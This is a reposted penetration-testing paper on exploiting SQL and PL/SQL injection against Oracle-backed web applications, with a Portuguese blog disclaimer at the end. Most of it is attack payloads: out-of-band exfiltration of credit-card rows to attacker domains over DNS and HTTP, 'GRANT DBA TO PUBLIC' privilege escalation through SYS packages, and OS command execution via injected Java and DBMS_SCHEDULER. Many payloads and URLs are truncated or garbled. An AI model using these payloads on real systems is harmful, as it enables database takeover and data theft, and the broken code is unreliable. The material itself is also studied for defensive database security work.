segue abaixo algumas técnicas disponíveis para exploração por SQL Injection através de aplicações web que utilizam base de dados Oracle divulgados pela 7Safe.
SQL Injection 101
SQL Injection is vulnerability here unsanitised user’s input is used in SQL calls. This vulnerability allows an attacker to retrieve sensitive in formation from a back-- end database. The impact of this vulnerability can vary f rom basic information disclosure t o a remote code execution and total compromise of the back-- end systems.
E.g. Let’s look at the following pseudo PHP code:
$query = "select * from all_objects where object_name =‘ ".$_GET['name']. " ’ ";
This query takes user’s input (name parameter) and this input is directly passed on to the query.
Malicious input such as:
http://vulnsite.com/ora.php?
This will result in the following query being executed:
Select * from all_objetcs where object_name =‘‘ or ‘1’=’1’
This changes the SQL logic and the query r eturns all r ows from table all_objects.
Exploiting SQL Injection
Exploiting SQL injection may have different meanings from one person to another. Someone may only be after the sensitive d ata within the database (e.g. credit card details), while the others may wish to execute operating system commands on the database host in order t o completely compromise the host. The remainder of this paper will discuss these e xploitation techniques:
1. Data Extraction
The following techniques are currently known to extract data from the back-- end database by exploiting SQL Injection from web applications:
1. Error Messages Enabled:
When the database error messages are enabled, an attacker could return the output of an arbitrary SQL query within the database error message. A number of functions (executable by the ‘public’ role) can be used for this:
UTL_INADDR.GET_HOST_NAME
E.g. The following malicious input:
This will result in the following SQL query:
Select * from all_objects where object_name =‘’ and 1=utl_inaddr.get_host_name((
query will throw an error which will have t he output of the query which the attacker wanted to execute:
Warning: ociexecute() [
function.ociexecute]: ORA-29257: host SCOTT unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line
35 ORA-06512: at line 1 in C:\wamp\www\ora2.php on line 13
While this technique will work in Oracle 8, 9 and 10g, this will fail in 11g. This is due to enhanced security features in 11g which implements ACLs on p ackages which require network access s uch as UTL_HTTP, UTL_INADDR etc.
http://vulnsite.com/ora1.php?
Warning: ociexecute() [
function.ociexecute]: ORA-24247: by access control list (ACL) ORA-06512 network access denied 06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 in: at "SYS.UTL_INADDR", line 4 ORA-
C:\wamp\www\ora1.php
on line 13 Alexander Kornbrust showed that alternate f unctions can be used in 11g t o extract the information in error messages:
ctxsys.drithsx.sn(1,(sql query to execute))
Example:
http://192.168.2.10/ora1.php?
Warning: ociexecute() [function.ociexecute]: ORA-- 20000: Oracle Text error: DRG-- 11701: thesaurus SCOTT does not exist ORA-- 06512: at "CTXSYS.DRUE", line 160 ORA-- 06512: at "CTXSYS.DRITHSX", line 538 ORA-- 06512: at line 1 in C:\wamp\www\ora1.php on line 13
2. Error Mesages Disabled:
When the database error messages a re disabled then there a number of methods that can be used to extract data from the database:
•
UNION Queries •
Blind Injection •
Heavy Queries •
Out-- Of--Band Channels. These techniques are briefly discussed below, although a detailed analysis is not within the scope of this paper.
a) UNION queries
This mostly applies when the SQL injection is within a SELECT statement a nd the output of the UNION query can be seen with the HTTP response:
e.g. http://192.168.2.10/ora1.php?
The limitation of this technique is that the query injected by the attacker must match the original query in number of columns and their corresponding data--types.
b) Blind Injection
Using this method an attacker will not directly see the output of the query he wants to e xecute. To enumerate the output, he needs to use a set of logical statements based on t he application’s responses. For example:
http://192.168.2.10/ora2.php?
http://192.168.2.10/ora2.php?
http://192.168.2.10/ora2.php?
different page)
Based on the 3 responses above it can b e deduced that the output of query "select user from dual" is SCOTT.
Tools
There are a number of tools publicly available to exploit blind SQL injection in Oracle. E.g.
c) OOB Channels
Using this method, the information is being sent to an attacker-- controlled server using the network or the file system. There are a number o f functions available under Oracle 8, 9 , and 10g (R1 and R2) to achieve this.
UTL_INADDR.GET_HOST_ADDRESS
E.g. An attacker can make the database server issue a DNS resolution request for host
SCOTT.attacker.com by issuing a SQL Query such as:
Select utl_inaddr.get_host_address((
dual)||’.attacker.com’) from dual;
http://192.168.2.10/ora2.php?
utl_inaddr.get_host_address((
dual)||'.hacker.notsosecure.
Thus by receiving such DNS name resolutions requests an attac
ker can now obtain the output of SQL queries.
18:35:27.985431 IP Y.Y.Y.Y.35152 > X.X.X.X.53: 52849 A?
SCOTT.hacker.notsosecure.com. (46)
Similarly, an attacker can also make t he database server issue other TCP requests (e.g. HTTP) and receive the output within these TCP requests issued to attacker’s server.
a neat trick at Confidence 2009 on how by issuing one such request an attacker can get bulk data over OOB channels:
Select sum(length(utl_http.request('h
from creditcard http://192.168.2.10/ora2.php?
sum(length(utl_http.request('h
creditcard)>0----
This one single request will make the database server recursively do a DNS lookup for all rows within the table. This will send all the card numbers (CCnumber) along with the corresponding first name (fname) and last name (lname) from Creditcard table to attacker’s site in HTTP r equests. These are the logs which the attacker will find in his web server’s access logs.
...
X.X.X.X -- -- [17/Feb/2010:19:01:41 +0000] "GET /5612983023489216.test1.
308 "-- " "-- "
X.X.X.X -- -- [17/Feb/2010:19:01:41 +0000] "GET /3612083027489216.test2.
308 "--" "--"
X.X.X.X -- -- [17/Feb/2010:19:01:41 +0000] "GET /4612013028489214.test3.
308 "-- " "-- "
...
The restriction posed by this technique is that the outbound traffic f rom the database host should be allowed on the firewall. In practice, DNS is usually allowed and hence this technique is very useful.
SYS.DBMS_LDAP.INIT
As noted earlier, the enhanced security features introduced in 11g prohibit ‘public’ from executing packages which could cause a network connection. H owever, David Litchfield in his recent Blackhat talk showed another function (executable by public) that can be used to conduct an OOB attack under 11g.
SELECT SYS.DBMS_LDAP.INIT((SELECT user from
dual)||'.databasesecurity.com'
http://192.168.2.10/ora1.php?
SYS.DBMS_LDAP.INIT((SELECT user from dual)||'.databasesecurity.com'
FROM DUAL) is not null--
d) Heavy Queries
If the SQL Injection is not w ithin a SELECT statement (e.g. INSERT Statement), then although the query injected by the attacker will get executed on the database server, it may not be possible to manipulate the output of the query as the HTTP response returned by the application will not differ.
Further, if the database has egress filtering enabled then the OOB attack will not be successful. This method is perhaps the last resource available to extract the output of the SQL query.
For Example, Let’s look at the following PHP code:
error_reporting(0);
$conn=oci_connect("scott", "tiger", '//192.168.2.11:1521/orcl');
$sql = "INSERT INTO DRAW VALUES ('".$_GET['number']."')";
$stmt = oci_parse($conn,$sql);
echo "Thank You For Your Submission";
oci_execute($stmt);
?>
The application performs an insert query on the user supplied input and displays the same message "Thank You For Your Submission" irrespective of whether the query executed successfully or not. This makes it difficult to manipulate the output of logical statements issued by the attacker and hence the blind injection technique will fail here.
MS-- SQL and MySQL have functions which can be called to make the database server sleep for a certain amount of time. Thus the output of the injected SQL query can be manipulated depending upon the time taken by the database/application server to respond. However, as there is no such function available in Oracle, a similar approach is to make the database issue a heavy query which will result in a time delay. T he end result is that the logical s tatements issued by the attacker can be manipulated as true or false d epending upon the time taken for t he HTTP response.
http://192.168.2.10/ora11.php?
(select count(*)from all_users t1, all_users t2, all_users t3, all_users
t4, all_users t5)>0 and
(select user from dual)='SCOTT'))--
INSERT INTO DRAW VALUES('XXX2222222'||(select 1 from dual where (select
count(*)from all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5)>0 and (select user from dual)='SCOTT'))--
Query Lasts 30 seconds
http://192.168.2.10/ora11.php?
(select count(*)from all_users t1, all_users t2, all_users t3, all_users
t4, all_users t5)>0 and
(select user from dual)='XXXX'))--
INSERT INTO DRAW VALUES('2222222'||(select 1 from dual where (select
count(*)from all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5)>0 and (select user from dual)='XXXX'))--
Query Lasts 1 second
The above 2 requests show that the output of the attacker’s query is SCOTT
Privilege Escalation
The abovementioned techniques will allow an attacker to obtain the output of an arbitrary SQL query. The important thing to understand here is the privileges with which an attacker’s query gets executed. There can be 2 b road categories here:
1. Privileged SQL Injection
2. Un Privileged SQL Injection
1. Privileged SQL Injection:
By Privileged SQL Injection I imply that the attacker’s query gets executed as SYS user (or with DBA privileges) and thus he has access to entire database. There can be quite a few possibilities such a s:
1. Connection String has a privileged User.
2. SQL Injection is in a stored procedure which gets executed as SYS (or with DBA privileges).
Stored procedures in Oracle by default get executed with definer rights. Thus, if SYS has a vulnerable procedure which SCOTT can execute, than SCOTT can execute SQL queries as SYS.
Example:
create or replace PROCEDURE
SYS
.countpass(name IN VARCHAR2, message out varchar2)
AS
str varchar2(500);
BEGIN
str :='select count(PASSWORD) FROM SYS.USER$
WHERE NAME like ''%'||name||'%''';
Execute immediate str into message;
END;
/
Grant execute on SYS.countpass to SCOTT;
This procedure can be called from a web application. The following PHP code (ora6.php) demonstrates this:
$conn = oci_connect('SCOTT','TIGER') or die;
$sql = 'BEGIN SYS.countpass(:name, :message); END;';
$stmt = oci_parse($conn,$sql);
// Bind the input parameter
oci_bind_by_name($stmt,':name'
// Bind the output parameter
oci_bind_by_name($stmt,':
// Assign a value to the input
$name = $_GET['name'];
oci_execute($stmt);
// $message is now populated with the output value
print "$message";
?>
In this example although P HP uses bind variables it does not help a s the procedure is still vulnerable. Further, although the application connects to the database as an unprivileged user ( SCOTT), the injection point is in a procedure owned by SYS and therefore t he attacker c an e xecute SQL queries as SYS.
E.g.
Returns 1
' and (select password from sys.user$ where
rownum=1)='286E1EA8F2CFD262'-
Returns 1
' and (select password from sys.user$ where
rownum=1)='XXXXXXXXXXXX'—
Returns 0
This implies that the attacker can run SQL as SYS user (access sys.user$ table) and the example demonstrates how an attacker can o btain the password hash of SYS user using b lind injection technique described earlier. What if the attacker wants to execute DDL/DML Statements such as ‘GRANT DBA TO PUBLIC’? Oracle database poses a number o f problems in e xecuting DDL/DML statements when exploiting SQL injections from web applications mainly because Oracle by design does not support nested queries.
In order to achieve t his, we must find a function which could either directly take PL/SQL and execute it as a feature or find a function which is v ulnerable to PL/SQL Injection.
David Litchfield recently showed a few functions which could allow an attacker t o achieve this:
SYS.KUPP$PROC.CREATE_MASTER_
Affected Systems: 11g R1 and R2 (0 day) Description:
The execution of a PL/SQL statement within this function is a feature and not a bug. This function is not executable by PUBLIC. Any user with DBA r ole can execute this function. As our injection point was in a procedure owned by SYS, we can execute this function.
and (Select SYS.KUPP$PROC.CREATE_MASTER_
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
PUBLIC''''; END;'';') from dual) is not null--
DBMS_REPCAT_RPC.VALIDATE_
Affected Systems:
8, 9, 10g R1, R2, 11g R1 (Fixed in CPU July 2009) This function can o nly be executed by S YS. It uses definer rights (SYS) for execution. Unlike the previous function, this one executes PL/SQL due to a flaw (PL/SQL Injection) and not a feature.
and (Select
DBMS_REPCAT_RPC.VALIDATE_
gname); execute immediate ''declare pragma autonomous_transaction;begin
execute immediate ''''grant dba to scott'''';end;''; end;--','CCCC') from
dual) is not null--
2. Unprivileged SQL Injection
In the example described a bove, the injection point was in a procedure which gets executed as SYS and hence privileged, but what if the SQL Injection is not privileged, that is:
1. Injection is in a SQL statement and gets executed as unprivileged user:
$conn = oci_connect("scott", "tiger", '//192.168.2.10:1521/orcl.com'
$query = "select text2 from foo2 where id = ".$_GET['name'];
2. Injection is in a procedure w hich gets executed as a n unprivileged user:
CREATE OR REPLACE PROCEDURE SCOTT
.countobject(name IN VARCHAR2, message out varchar2)AUTHID
CURRENT_USER AS
str varchar2(500);
BEGIN
str :='select count(object_name) from all_objects where object_name like
''%'||name||'%''';
execute immediate str into message ;
END;
The following php script(ora7.php) now calls this procedure:
$conn = oci_connect('SCOTT','TIGER') or die;
$sql = 'BEGIN
SCOTT.countobject(:name, :message); END;';
$stmt = oci_parse($conn,$sql);
// Bind the input parameter
oci_bind_by_name($stmt,':name'
// Bind the output parameter
oci_bind_by_name($stmt,':
// Assign a value to the input
$name = $_GET['name'];
oci_execute($stmt);
// $message is now populated with the output value
print "$message";
?>
Here the attacker’s query will be executed as SCOTT user. Let’s see if w e can still obtain the password hash of SYS user:
http://192.168.2.10/ora7.php?
sys.user$ where rownum=1)='286E1EA8F2CFD262'--
This query will now fail a s the injection is u nprivileged and the user SCOTT d oes not have access to the sys.user$ table. If the error messages are enabled on the application then the following error will be displayed:
Warning:
oci_execute() [function.oci-execute]: ORA-00942: table or view
does not exist
ORA-06512: at "SCOTT.countobject", line 8 ORA-06512: at line
1 in
C:\wamp\www\ora7.php on line 18
This is where things start getting "interesting". Those of you familiar with MS-- SQL may recall that MS-- SQL has a feature called Openrowset which ( if enabled) could allow an attacker to brute -- force/guess ‘SA’ password and then run SQL queries as ‘SA’.
In Oracle a similar privilege escalation can be achieved under certain circumstances. At the time of writing this paper the following t echniques are publicly known1:
DBMS_EXPORT_EXTENSION
Affected Versions:
Oracle 8.1.7.4, 9.2.0.1 -- 9.2.0.7, 10.1.0.2 -- 10.1.0.4, 10.2.0.1--10.2.0.2, XE (Fixed in CPU July 2006)
Privilege required
Description
functions are owned by SYS, execute as SYS and are executable by PUBLIC. Thus, if the SQL Injection is in any of the u n-- patched Oracle database versions mentioned above then the attacker can call this function and directly execute queries as SYS.
E.g.
chr(44)=SYS.DBMS_EXPORT_
_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA
While an effort h as been made to collect a ll p ublicly known techniques, it may be possible that there a re
other privilege escalation techniques known.
BEGIN EXECUTE IMMEDIATE ''''
grant dba to
public
'''';END;'';END;--','SYS',0,'
This request will result in the query ‘GRANT DBA TO PUBLIC’ getting executed as SYS. This function allows PL/SQL because of a flaw (PL/SQL injection) .Once this request is successfully executed, the PUBLIC gets DBA role thus escalating SCOTT’s privileges and now our SCOTT user can query sys.user$
table:
http://192.168.2.10/ora7.php?
sys.user$ where rownum=1)='286E1EA8F2CFD262'--
Tool:
Bsqlbf has this feature of doing privilege escalation first and then extracting data with DBA privileges. After extracting data it revokes the DBA role from PUBLIC.While there are no other publicly known techniques by which a n attacker can become DBA from ju st CREATE SESSION privilege by exploiting SQL injection from web applications, t here are still a few attack vectors with which an attacker can execute operating system commands without having DBA role (with JAVA privileges). This is discussed below.
3. OS Code Execution
The following attack vectors are currently publicly known for executing operating system commands against the Oracle database while exploiting SQL injection from web applications:
1. DBMS_EXPORT_EXTENSION
Affected Versions:
Oracle 8.1.7.4, 9.2.0.1 -- 9.2.0.7, 10.1.0.2 -- 10.1.0.4, 10.2.0.1-- 10.2.0.2, XE Privilege required
Description
PL/SQL Injection, can be used to firstly gain DBA p rivileges and then Operating System
Commands can be executed by a number o f techniques such as:
•
Creating JAVA library •
DBMS_SCHEDULER •
EXTPROC •
PL/SQL native make utility (9i only) The following demonstrates on how to do this with Java
. With Java:
1.
Create java Library: ’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create
or replace and compile java source named
"LinxUtil" as import java.io.*; public class LinxUtil extends Object
{public static String runCMD(String args)
{try{BufferedReader myReader= new BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(
) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str
%2b=stemp%2b"\n";myReader.
str;} catch (Exception e){return e.toString();}}public static String
readFile(String filename){try{BufferedReader
myReader= new BufferedReader(new FileReader(filename)); String
stemp,str="";while ((stemp = myReader.readLine()) !=
null) str %2b=stemp%2b"\n";myReader.
e){return
e.toString();}}}'''';END;'';
2. Grant Java Permissions to SCOTT:
’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin
dbms_java.grant_permission(
''''''''PUBLIC'''''''', ''''''''SYS:java.io.
''''''''<>'''''''', ''''''''execute''''''''
);end;'''';END;'';END;--','
3. Create Function
’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create
or replace function LinxRunCMD(p_cmd in
varchar2) return varchar2 as language java name
''''''''LinxUtil.runCMD(java.
'''';END;'';END;--','SYS',0,'
4. Grant function execute Privileges
’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant
all on LinxRunCMD to
public'''';END;'';END;--','
OS Code
’ and (select
sys.LinxRunCMD('cmd.exe /c whoami') from dual) is not null--
Similarly, one can execute OS code via this PL/SQL Injection through other methods such as DBMS_SCHEDULER, PL/SQL native make utility e tc.
Tool:
2. With Java Privileges
Affected Versions:
Permissions required
Description:
operating system commands can be executed from web applications u sing 2 different functions:
a) DBMS_JAVA.RUNJAVA
Affected System:
’ and (SELECT
DBMS_JAVA.RUNJAVA('oracle/
c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL) is not null
--
b) DBMS_JAVA_TEST.FUNCALL
Affected System
’ and (Select
DBMS_JAVA_TEST.FUNCALL('
stem32\\cmd.exe','/c','dir>c:\
The list of java permissions available to the user can be obtained by issuing the following query:
select * from user_java_policy where grantee_name ='SCOTT'
3. With SYS Privileges
As noted under the section Privileged SQL Injection, when the injection point is in a procedure owned by SYS (AUTHID Definer), t hen the attacker can use a number of functions for executing Operating System Commands, including the 2 techniques mentioned above (DBMS_EXPORT_EXTENSION, JAVA Privileges). However, another way to achieve this is by using DBMS_REPCAT_RPC.VALIDATE_
DBMS_REPCAT_RPC.VALIDATE_
Affected Versions
: Oracle 8, 9,10g R1, 10g R2, 11g R1 (Fixed in CPU July 2009) Privilege required
Description
•
Creating JAVA Library(Universal, Except XE) •
DBMS_SCHEDULER (Universal) •
Extproc (Only 10g R1) •
PL/SQL native make utility (9i only) With java
Create Library:
http://192.168.2.10/ora6.php?SYS.DBMS_REPCAT_RPC.VALIDATE_
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''create or replace and compile java source named
"LinxUtil" as import java.io.*; public class LinxUtil extends Object
{public static String runCMD(String args) {try{BufferedReader myReader= new
BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(
stemp,str="";while ((stemp = myReader.readLine()) != null) str
+=stemp+"\n";myReader.close();
e.toString();}}public static String readFile(String
filename){try{BufferedReader myReader= new BufferedReader(new
FileReader(filename)); String stemp,str="";while ((stemp =
myReader.readLine()) != null) str +=stemp+"\n";myReader.close();
str;} catch (Exception e){return e.toString();}}}'''';END;'';
','CCCCC') from dual) is not null--
Granting JAVA permissions:
’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(
''''''''PUBLIC'''''''', ''''''''SYS:java.io.
''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--
','CCCCC') from dual) is not null --
Creating Function:
’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in
varchar2) return varchar2 as language java name
LinxUtil.runCMD(java.lang.
'''';END;'';END;--','CCCCC') from dual) is not null --
Making function executable by PUBLIC
SYS.DBMS_REPCAT_RPC.VALIDATE_
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--
','CCCCC') from dual) is not null --
Executing OS Code:
sys.LinxRunCMD('cmd.exe /c whoami ') from dual) is not null --
Tool:
Bsqlbf incorporates this exploit 4. With DBA Privileges
If the injection point is such that the attacker’s q uery gets executed with D BA privileges then he can use this function to execute OS code.
SYS.KUPP$PROC.CREATE_MASTER_
Affected Versions:
Privilege required:
Description
DBMS_EXPORT_EXTENSION in 2006 and DBMS_JAVA (DBMS_JAVA_TEST) will be fixed soon, this one is still un-- patched and works on 11g (R1 and R2). As noted earlier, the PL/SQL execution from this function is a ‘feature’ and not a bug. Hence, if Oracle does not patch/remove this function, this may be one universal way for executing OS code when exploiting SQL Injection from web (injection point in procedure owned by user h aving DBA role). As I have already shown OS code execution by J ava, let’s take a different approach this time. The example below shows O S code execution based on DBMS_SCHEDULER (all oracle versions, including XE):
DBMS_SCHEDULER
Create program
’ and (select
SYS.KUPP$PROC.CREATE_MASTER_
UTABLE'',''c:\WINDOWS\
Create Job
’ and (select
SYS.KUPP$PROC.CREATE_MASTER_
Unlike VALIDATE_REMOTE_RC, this function can be executed b y any user who has DBA role
''myjob4'',program_name => ''myprog4'',start_date => NULL,repeat_interval => NULL,end_date =>
NULL,enabled => TRUE,auto_drop => TRUE);') from dual) is not null ----
Remove Job (Not Required)
’ and (select
SYS.KUPP$PROC.CREATE_MASTER_
ME => ''myprog'');') from dual) is not null --
PL/SQL Injection
In Oracle there is another class of vulnerability which is similar to SQL Injection but more dangerous. This happens when unsanitised user’s input is used in construction of an anonymous PL/SQL block which then gets dynamically executed.
Let’s look at one such example:
CREATE OR REPLACE PROCEDURE SCOTT.TEST( Q IN VARCHAR2) AS
BEGIN
EXECUTE IMMEDIATE ('BEGIN '||Q||';END;');
END;
The following php script (ora9.php) calls this procedure:
$conn = oci_connect('
SCOTT','TIGER') or die;
$sql = 'BEGIN
scott.test(:name); END;';
$stmt = oci_parse($conn,$sql);
// Bind the input parameter
oci_bind_by_name($stmt,':name'
// Assign a value to the input
$name = $_GET['name'];
oci_execute($stmt);
?>
In this example the v ulnerable procedure is owned b y SCOTT (hence unprivileged). A lthough Oracle does not support nested query in SQL, it does so in PL/SQL. Hence exploiting this is quite straightforward.
Privilege Escalation
Whatever we inject within this PL/SQL Injection, it will get executed either with the privileges of the procedure owner or invoker (AUTHID DEFINER or CURRENT_USER respectively defined w ithin vulnerable procedure). However, as now we can issue nested queries, t hen we can exploit the vulnerable packages held within the back-- end database to escalate privileges. David Litchfield recently showed a 0 day by which a user with just CREATE SESSION privileges can become DBA (applies to 10g R2, 11g R1, 11g R2), so let’s use the same a ttack vector to e xploit this vulnerability and first grant our user java IO privileges.
http://192.168.2.10/ora9.php?
DBMS_JVM_EXP_PERMS.TEMP_JAVA_
''GRANT'',user(),''SYS'',''
FILES>>'',''execute'',''
COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_
This will grant Java privileges to our SCOTT u ser (only create session privileges are r equired). With these privileges we can become DBA (if we want) or just directly execute Operating System Commands.
OS Code Execution
http://192.168.2.10/ora9.php?
execute immediate 'Select
DBMS_JAVA_TEST.FUNCALL(''
s\\system32\\cmd.exe'',''/c'',
aa;end;end;--
References
1. http://www.databasesecurity.com/HackingAurora.pdf
2. http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf
3. http://www.databasesecurity.com/oracle/plsql-‐injection-‐create-‐session.pdf
4. http://blog.phishme.com/wp-‐content/uploads/2007/08/dc-‐15-‐karlsson.pdf
5. http://blog.red-‐database-‐security.com/2009/01/17/tutorial-‐oracle-‐sql-‐injection-‐in-‐webapps-‐ part-‐i/
6. http://notsosecure.com/folder2/ora_cmd_exec.txt
7. http://code.google.com/p/bsqlbf-‐v2/
8. http://sqlmap.sourceforge.net/
9. http://www.net-‐security.org/dl/articles/more_advanced_sql_injection.pdf
10. http://www.defcon.org/images/defcon-‐16/dc16-‐presentations/defcon-‐16-‐alonso-‐ parada.pdf
11. http://www.red-‐database-‐security.com/wp/confidence2009.pdf
12. http://www.slaviks-‐blog.com/2009/10/13/blind-‐sql-‐injection-‐in-‐oracle/
About the author
Sumit Siddharth (Sid) works as a principal security consultant for 7 Safe where he heads the Penetration Testing department. He specialises in application and database security and has been a speaker at many security conferences including Defcon, Troopers, OWASP Appsec, Sec-- T etc. He also runs the popular IT security blog. http://www.notsosecure.com OBS: Use estas informações para fins de solucionar problemas de banco de dados, pois o mal uso destas informações é de sua própria responsabilidade.
Nenhum comentário:
Postar um comentário